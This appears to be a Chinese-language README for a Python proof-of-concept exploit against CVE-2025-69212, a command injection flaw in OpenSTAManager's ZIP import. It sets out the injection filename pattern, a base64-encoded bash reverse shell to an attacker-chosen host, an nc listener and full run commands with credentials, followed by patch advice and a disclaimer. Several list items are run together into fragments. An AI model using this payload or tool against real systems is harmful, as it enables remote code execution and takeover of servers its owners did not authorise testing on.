
Python poc, exploit for CVE-2025-69212
CVE-2025-69212的概念验证利用程序,该漏洞是OpenSTAManager <= 2.9.8中的一个OS命令注入漏洞,允许经过身份验证的攻击者通过恶意构造的ZIP文件上传实现远程代码执行。
该漏洞存在于 src/Util/XML.php 文件的第100行附近,应用程序在未进行任何清理的情况下,将用户控制的文件名直接传递给 shell 的 exec() 调用:
exec('openssl smime -verify -noverify -in "' . $file . '" -inform DER -out "' . $output_file . '"');
当通过 importFE_ZIP 插件(/actions.php)上传ZIP压缩包时,应用程序会解压该ZIP文件,并将每个 .p7m 条目的文件名传递给 exec()。攻击者可以构造一个包含恶意文件名的ZIP文件,该文件名能够突破双引号参数的限制并注入任意shell命令。
注入载荷(文件名):
invoice.p7m";<COMMAND>;echo ".p7m
产生的 shell 执行:
openssl smime ... -in "invoice.p7m";<COMMAND>;echo ".p7m" ...
# ^^^^^^^^^^^^ 此处注入
注意: 正斜杠
/不能直接出现在文件名中,因为ZipArchive::extractTo()会将其视为路径分隔符。PoC 通过对反弹 shell 载荷进行base64编码来避免此问题。
requests 库nc)安装依赖:
pip install requests
python3 CVE-2025-69212.py -u <目标URL> -U <用户名> -P <密码> --lhost <您的IP> --lport <您的端口>
# 启动监听器
nc -lvnp 4444
# 运行漏洞利用
python3 CVE-2025-69212.py -u http://target.htb -U admin -P 'password' --lhost 10.10.14.5 --lport 4444
# 通过 Burp Suite 路由
python3 CVE-2025-69212.py -u http://target.htb -U admin -P 'password' --lhost 10.10.14.5 --lport 4444 --proxy http://127.0.0.1:8080
.p7m 文件,其文件名包含注入的命令bash -i >& /dev/tcp/LHOST/LPORT 0>&1)进行base64编码,以避免文件名中出现正斜杠importFE_ZIP 插件将ZIP文件POST到 /actions.phpexec(),从而触发反弹 shell将 OpenSTAManager 更新至 2.9.9 或更高版本,该版本在将文件名传递给 shell 命令之前会对其进行清理。
如果无法立即打补丁,请禁用 importFE_ZIP 插件,或将对 /actions.php 的访问限制为仅受信任的用户。
此工具仅用于授权的安全测试和教育目的。请仅在你拥有所有权或获得明确书面许可的系统上使用。未经授权对不属于你的系统进行使用是非法且不道德的。作者不对因使用此工具而导致的任何误用或损害负责。
| 参数 | 必需 | 描述 |
|---|
-u, --url | 是 | 目标基础URL(例如 http://target.htb) |
-U, --username | 是 | OpenSTAManager 用户名 |
-P, --password | 是 | OpenSTAManager 密码 |
--lhost | 是 | 用于反弹 shell 的您的 IP 地址 |
--lport | 是 | 用于反弹 shell 的您的监听端口 |
--proxy | 否 | HTTP 代理(例如 http://127.0.0.1:8080) |